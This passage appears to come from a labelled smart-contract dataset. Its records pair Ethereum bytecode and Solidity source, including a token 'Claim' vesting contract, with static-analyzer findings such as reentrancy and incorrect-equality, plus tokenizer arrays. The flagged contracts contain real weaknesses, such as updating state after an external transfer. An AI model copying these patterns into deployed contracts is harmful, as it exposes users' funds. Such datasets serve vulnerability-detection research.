613806565b612f23816139d2565b840191505092915050565b6000612f3982613685565b612f4381856136bd565b9350612f53818560208601613806565b80840191505092915050565b6000612f6c602b836136ac565b9150612f77826139e3565b604082019050919050565b6000612f8f6032836136ac565b9150612f9a82613a32565b604082019050919050565b6000612fb26026836136ac565b9150612fbd82613a81565b604082019050919050565b6000612fd5601c836136ac565b9150612fe082613ad0565b602082019050919050565b6000612ff86024836136ac565b915061300382613af9565b604082019050919050565b600061301b6019836136ac565b915061302682613b48565b602082019050919050565b600061303e602c836136ac565b915061304982613b71565b604082019050919050565b60006130616038836136ac565b915061306c82613bc0565b604082019050919050565b6000613084602a836136ac565b915061308f82613c0f565b604082019050919050565b60006130a76029836136ac565b91506130b282613c5e565b604082019050919050565b60006130ca6020836136ac565b91506130d582613cad565b602082019050919050565b60006130ed602c836136ac565b91506130f882613cd6565b604082019050919050565b60006131106005836136bd565b915061311b82613d25565b600582019050919050565b60006131336020836136ac565b915061313e82613d4e565b602082019050919050565b60006131566029836136ac565b915061316182613d77565b604082019050919050565b6000613179602f836136ac565b915061318482613dc6565b604082019050919050565b600061319c6021836136ac565b91506131a782613e15565b604082019050919050565b60006131bf6000836136a1565b91506131ca82613e64565b600082019050919050565b60006131e26010836136ac565b91506131ed82613e67565b602082019050919050565b60006132056031836136ac565b915061321082613e90565b604082019050919050565b6000613228602c836136ac565b915061323382613edf565b604082019050919050565b600061324b6030836136ac565b915061325682613f2e565b604082019050919050565b61326a816137ed565b82525050565b600061327c8285612f2e565b91506132888284612f2e565b915061329382613103565b91508190509392505050565b60006132aa826131b2565b9150819050919050565b60006020820190506132c96000830184612e9e565b92915050565b60006080820190506132e46000830187612e9e565b6132f16020830186612e9e565b6132fe6040830185613261565b81810360608301526133108184612ebc565b905095945050505050565b60006020820190506133306000830184612ead565b92915050565b600060208201905081810360008301526133508184612ef5565b905092915050565b6000602082019050818103600083015261337181612f5f565b9050919050565b6000602082019050818103600083015261339181612f82565b9050919050565b600060208201905081810360008301526133b181612fa5565b9050919050565b600060208201905081810360008301526133d181612fc8565b9050919050565b600060208201905081810360008301526133f181612feb565b9050919050565b600060208201905081810360008301526134118161300e565b9050919050565b6000602082019050818103600083015261343181613031565b9050919050565b6000602082019050818103600083015261345181613054565b9050919050565b6000602082019050818103600083015261347181613077565b9050919050565b600060208201905081810360008301526134918161309a565b9050919050565b600060208201905081810360008301526134b1816130bd565b9050919050565b600060208201905081810360008301526134d1816130e0565b9050919050565b600060208201905081810360008301526134f181613126565b9050919050565b6000602082019050818103600083015261351181613149565b9050919050565b600060208201905081810360008301526135318161316c565b9050919050565b600060208201905081810360008301526135518161318f565b9050919050565b60006020820190508181036000830152613571816131d5565b9050919050565b60006020820190508181036000830152613591816131f8565b9050919050565b600060208201905081810360008301526135b18161321b565b9050919050565b600060208201905081810360008301526135d18161323e565b9050919050565b60006020820190506135ed6000830184613261565b92915050565b60006135fd61360e565b9050613609828261386b565b919050565b6000604051905090565b600067ffffffffffffffff821115613633576136326139a3565b5b61363c826139d2565b9050602081019050919050565b600067ffffffffffffffff821115613664576136636139a3565b5b61366d826139d2565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006136d3826137ed565b91506136de836137ed565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561371357613712613916565b5b828201905092915050565b6000613729826137ed565b9150613734836137ed565b92508261374457613743613945565b5b828204905092915050565b600061375a826137ed565b9150613765836137ed565b92508282101561377857613777613916565b5b828203905092915050565b600061378e826137cd565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613824578082015181840152602081019050613809565b83811115613833576000848401525b50505050565b6000600282049050600182168061385157607f821691505b6020821081141561386557613864613974565b5b50919050565b613874826139d2565b810181811067ffffffffffffffff82111715613893576138926139a3565b5b80604052505050565b60006138a7826137ed565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138da576138d9613916565b5b600182019050919050565b60006138f0826137ed565b91506138fb836137ed565b92508261390b5761390a613945565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b613f8681613783565b8114613f9157600080fd5b50565b613f9d81613795565b8114613fa857600080fd5b50565b613fb4816137a1565b8114613fbf57600080fd5b50565b613fcb816137ed565b8114613fd657600080fd5b5056fea264697066735822122025d28f7d14567098eb4049c5a315cf9614b87fa079edcec684c4378d863077fb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2581, 2063, 2629, 3540, 16147, 2475, 6679, 2683, 4783, 20958, 2549, 2546, 2475, 2278, 17788, 25746, 2581, 2546, 2629, 2050, 2620, 2063, 2620, 2683, 2620, 2497, 2509, 3540, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 8022, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 24094, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,872
0x9788d91051f66b4c935457c5f4950a9e2d0f1abf
/** *Submitted for verification at Etherscan.io on 2021-10-21 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.8; /** * @title Claim * @author gotbit */ interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner, 'Only owner can call this function'); _; } function transferOwnership(address newOwner_) external onlyOwner { require(newOwner_ != address(0), 'You cant tranfer ownerships to address 0x0'); require(newOwner_ != owner, 'You cant transfer ownerships to yourself'); emit OwnershipTransferred(owner, newOwner_); owner = newOwner_; } } contract Claim is Ownable { IERC20 public token; uint256 public start; uint256 public finish; uint256 public totalBank; struct User { uint256 bank; uint256 claimed; uint256 debt; // Unclaimed from previous program uint256 finish; // Compare with global finish to determine if user is in current 2nd+ program } mapping(address => User) public users; event Started(uint256 timestamp, uint256 rewardsDuration, address who); event Claimed(address indexed who, uint256 amount); event SetBank(address indexed who, uint256 bank, uint256 debt); event RecoveredERC20(address owner, uint256 amount); event RecoveredAnotherERC20(IERC20 token, address owner, uint256 amount); constructor(address owner_, IERC20 token_) { owner = owner_; token = token_; } function claim() external returns (bool) { address who = msg.sender; User storage user = users[who]; uint256 absoluteClaimable = getAbsoluteClaimable(who); uint256 amount = (absoluteClaimable + user.debt) - user.claimed; require(amount > 0, 'You dont have LIME to harvest'); require(token.balanceOf(address(this)) >= amount, 'Not enough tokens on contract'); require(token.transfer(who, amount), 'Transfer issue'); totalBank -= amount; user.debt = 0; user.claimed = absoluteClaimable; emit Claimed(who, amount); return true; } function getAbsoluteClaimable(address who) public view returns (uint256) { User storage user = users[who]; // No program or user never participated if (start == 0 || user.finish == 0) return 0; if (user.finish == finish) { // Nth program, and user is included in last activated program uint256 lastApplicableTime = block.timestamp; if (lastApplicableTime > user.finish) lastApplicableTime = user.finish; return (user.bank * (lastApplicableTime - start)) / (user.finish - start); } else { // Nth program, and user is not included in last activated program // always true in this case: // block.timestamp > user.finish return user.bank; } } // For UI function getActualClaimable(address who) public view returns (uint256) { return (getAbsoluteClaimable(who) + users[who].debt) - users[who].claimed; } function infoBundle(address who) public view returns ( User memory uInfo, uint256 uBalance, uint256 uClaimable, uint256 cBalance, uint256 cStart, uint256 cFinish, uint256 cBank ) { uInfo = users[who]; uBalance = token.balanceOf(who); uClaimable = getActualClaimable(who); cBalance = token.balanceOf(address(this)); cStart = start; cFinish = finish; cBank = totalBank; } function setRewards( address[] memory whos, uint256[] memory banks, uint256 durationDays ) public onlyOwner { require(whos.length == banks.length, 'Different lengths'); require(block.timestamp > finish, 'Claiming programm is already started. Wait for its end'); start = block.timestamp; finish = start + (durationDays * (1 days)); for (uint256 i = 0; i < whos.length; i++) { address who = whos[i]; uint256 bank = banks[i]; uint256 debt = (users[who].bank + users[who].debt) - users[who].claimed; users[who] = User({bank: bank, claimed: 0, debt: debt, finish: finish}); emit SetBank(who, bank, debt); totalBank += bank; } emit Started(start, durationDays, msg.sender); } function recoverERC20(uint256 amount) external onlyOwner { require(token.balanceOf(address(this)) >= totalBank + amount, 'RecoverERC20 error: Not enough balance on contract'); require(token.transfer(owner, amount), 'Transfer issue'); emit RecoveredERC20(owner, amount); } function recoverAnotherERC20(IERC20 token_, uint256 amount) external onlyOwner { require(token_ != token, 'For recovering main token use another function'); require(token_.balanceOf(address(this)) >= amount, 'RecoverAnotherERC20 error: Not enough balance on contract'); require(token_.transfer(owner, amount), 'Transfer issue'); emit RecoveredAnotherERC20(token_, owner, amount); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063a87430ba1161008c578063d56b288911610066578063d56b288914610269578063d5a83ea714610272578063f2fde38b14610285578063fc0c546a1461029857600080fd5b8063a87430ba1461019c578063b0e5f3b5146101f1578063be9a65551461026057600080fd5b80634e71d92d116100c85780634e71d92d146101315780635e610381146101495780638da5cb5b1461015e5780638f135b3a1461018957600080fd5b806322457b02146100ef5780633489f1ff1461010b5780633f8260ef1461011e575b600080fd5b6100f860045481565b6040519081526020015b60405180910390f35b6100f861011936600461101f565b6102ab565b6100f861012c36600461101f565b6102f1565b61013961038f565b6040519015158152602001610102565b61015c610157366004611119565b6105fe565b005b600054610171906001600160a01b031681565b6040516001600160a01b039091168152602001610102565b61015c6101973660046111e4565b61088a565b6101d16101aa36600461101f565b60056020526000908152604090208054600182015460028301546003909301549192909184565b604080519485526020850193909352918301526060820152608001610102565b6102046101ff36600461101f565b610a93565b60408051885181526020808a015190820152888201519181019190915260609788015197810197909752608087019590955260a086019390935260c085019190915260e084015261010083015261012082015261014001610102565b6100f860025481565b6100f860035481565b61015c6102803660046111fd565b610c2a565b61015c61029336600461101f565b610eaa565b600154610171906001600160a01b031681565b6001600160a01b038116600090815260056020526040812060018101546002909101546102d7846102f1565b6102e1919061123f565b6102eb9190611257565b92915050565b6001600160a01b0381166000908152600560205260408120600254158061031a57506003810154155b156103285750600092915050565b60035481600301541415610388576003810154429081111561034b575060038101545b600254826003015461035d9190611257565b60025461036a9083611257565b8354610376919061126e565b610380919061128d565b949350505050565b5492915050565b336000818152600560205260408120909190826103ab836102f1565b9050600082600101548360020154836103c4919061123f565b6103ce9190611257565b9050600081116104255760405162461bcd60e51b815260206004820152601d60248201527f596f7520646f6e742068617665204c494d4520746f206861727665737400000060448201526064015b60405180910390fd5b6001546040516370a0823160e01b815230600482015282916001600160a01b0316906370a082319060240160206040518083038186803b15801561046857600080fd5b505afa15801561047c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a091906112af565b10156104ee5760405162461bcd60e51b815260206004820152601d60248201527f4e6f7420656e6f75676820746f6b656e73206f6e20636f6e7472616374000000604482015260640161041c565b60015460405163a9059cbb60e01b81526001600160a01b038681166004830152602482018490529091169063a9059cbb90604401602060405180830381600087803b15801561053c57600080fd5b505af1158015610550573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057491906112c8565b6105905760405162461bcd60e51b815260040161041c906112ea565b80600460008282546105a29190611257565b909155505060006002840155600183018290556040518181526001600160a01b038516907fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a9060200160405180910390a2600194505050505090565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161041c90611312565b815183511461066d5760405162461bcd60e51b8152602060048201526011602482015270446966666572656e74206c656e6774687360781b604482015260640161041c565b60035442116106dd5760405162461bcd60e51b815260206004820152603660248201527f436c61696d696e672070726f6772616d6d20697320616c7265616479207374616044820152751c9d19590b8815d85a5d08199bdc881a5d1cc8195b9960521b606482015260840161041c565b426002556106ee816201518061126e565b6002546106fb919061123f565b60035560005b835181101561084357600084828151811061071e5761071e611353565b60200260200101519050600084838151811061073c5761073c611353565b6020908102919091018101516001600160a01b03841660009081526005909252604082206001810154600282015491549294509161077a919061123f565b6107849190611257565b604080516080810182528481526000602080830182815283850186815260038054606087019081526001600160a01b038c168087526005865295889020965187559251600187015590516002860155905193019290925582518681529182018490529293507f5731dbafa0a398f7d6aecd305196cc691a6807fa0d653af18719af2ab4cb4bda910160405180910390a28160046000828254610826919061123f565b92505081905550505050808061083b90611369565b915050610701565b5060025460408051918252602082018390523382820152517fb6ee77ade1d0e34eb31fa99c9c729d65b350d7fed6ad3d710cf9b560e62cb3c89181900360600190a1505050565b6000546001600160a01b031633146108b45760405162461bcd60e51b815260040161041c90611312565b806004546108c2919061123f565b6001546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561090557600080fd5b505afa158015610919573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093d91906112af565b10156109a65760405162461bcd60e51b815260206004820152603260248201527f5265636f7665724552433230206572726f723a204e6f7420656e6f7567682062604482015271185b185b98d9481bdb8818dbdb9d1c9858dd60721b606482015260840161041c565b60015460005460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810184905291169063a9059cbb90604401602060405180830381600087803b1580156109f657600080fd5b505af1158015610a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2e91906112c8565b610a4a5760405162461bcd60e51b815260040161041c906112ea565b600054604080516001600160a01b039092168252602082018390527f55350610fe57096d8c0ffa30beede987326bccfcb0b4415804164d0dd50ce8b1910160405180910390a150565b610abe6040518060800160405280600081526020016000815260200160008152602001600081525090565b506001600160a01b038181166000818152600560209081526040808320815160808101835281548152600180830154948201949094526002820154818401526003909101546060820152915490516370a0823160e01b81526004810194909452909391928392839283928392839216906370a082319060240160206040518083038186803b158015610b4f57600080fd5b505afa158015610b63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8791906112af565b9550610b92886102ab565b6001546040516370a0823160e01b81523060048201529196506001600160a01b0316906370a082319060240160206040518083038186803b158015610bd657600080fd5b505afa158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e91906112af565b9350600254925060035491506004549050919395979092949650565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161041c90611312565b6001546001600160a01b0383811691161415610cc95760405162461bcd60e51b815260206004820152602e60248201527f466f72207265636f766572696e67206d61696e20746f6b656e2075736520616e60448201526d37ba3432b910333ab731ba34b7b760911b606482015260840161041c565b6040516370a0823160e01b815230600482015281906001600160a01b038416906370a082319060240160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906112af565b1015610db65760405162461bcd60e51b815260206004820152603960248201527f5265636f766572416e6f746865724552433230206572726f723a204e6f74206560448201527f6e6f7567682062616c616e6365206f6e20636f6e747261637400000000000000606482015260840161041c565b60005460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb90604401602060405180830381600087803b158015610e0457600080fd5b505af1158015610e18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3c91906112c8565b610e585760405162461bcd60e51b815260040161041c906112ea565b600054604080516001600160a01b038086168252909216602083015281018290527f7b85dbf6ae0e3735400a2c8a4281118f621d533e2df1640ebf51f6cf95ca4bbc9060600160405180910390a15050565b6000546001600160a01b03163314610ed45760405162461bcd60e51b815260040161041c90611312565b6001600160a01b038116610f3d5760405162461bcd60e51b815260206004820152602a60248201527f596f752063616e74207472616e666572206f776e6572736869707320746f20616044820152690646472657373203078360b41b606482015260840161041c565b6000546001600160a01b0382811691161415610fac5760405162461bcd60e51b815260206004820152602860248201527f596f752063616e74207472616e73666572206f776e6572736869707320746f206044820152673cb7bab939b2b63360c11b606482015260840161041c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116811461101c57600080fd5b50565b60006020828403121561103157600080fd5b813561103c81611007565b9392505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561108257611082611043565b604052919050565b600067ffffffffffffffff8211156110a4576110a4611043565b5060051b60200190565b600082601f8301126110bf57600080fd5b813560206110d46110cf8361108a565b611059565b82815260059290921b840181019181810190868411156110f357600080fd5b8286015b8481101561110e57803583529183019183016110f7565b509695505050505050565b60008060006060848603121561112e57600080fd5b833567ffffffffffffffff8082111561114657600080fd5b818601915086601f83011261115a57600080fd5b8135602061116a6110cf8361108a565b82815260059290921b8401810191818101908a84111561118957600080fd5b948201945b838610156111b05785356111a181611007565b8252948201949082019061118e565b975050870135925050808211156111c657600080fd5b506111d3868287016110ae565b925050604084013590509250925092565b6000602082840312156111f657600080fd5b5035919050565b6000806040838503121561121057600080fd5b823561121b81611007565b946020939093013593505050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561125257611252611229565b500190565b60008282101561126957611269611229565b500390565b600081600019048311821515161561128857611288611229565b500290565b6000826112aa57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156112c157600080fd5b5051919050565b6000602082840312156112da57600080fd5b8151801515811461103c57600080fd5b6020808252600e908201526d5472616e7366657220697373756560901b604082015260600190565b60208082526021908201527f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561137d5761137d611229565b506001019056fea26469706673582212207744f99585b21741a77cb1edce6d3b27877071669c8f26222adb3092b4f7020a64736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2620, 2094, 2683, 10790, 22203, 2546, 28756, 2497, 2549, 2278, 2683, 19481, 19961, 2581, 2278, 2629, 2546, 26224, 12376, 2050, 2683, 2063, 2475, 2094, 2692, 2546, 2487, 7875, 2546, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2538, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1022, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 4366, 1008, 1030, 3166, 2288, 16313, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,873
0x9789204c43bbc03e9176f2114805b68d0320b31d
pragma solidity ^0.5.15; pragma experimental ABIEncoderV2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface UniswapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid 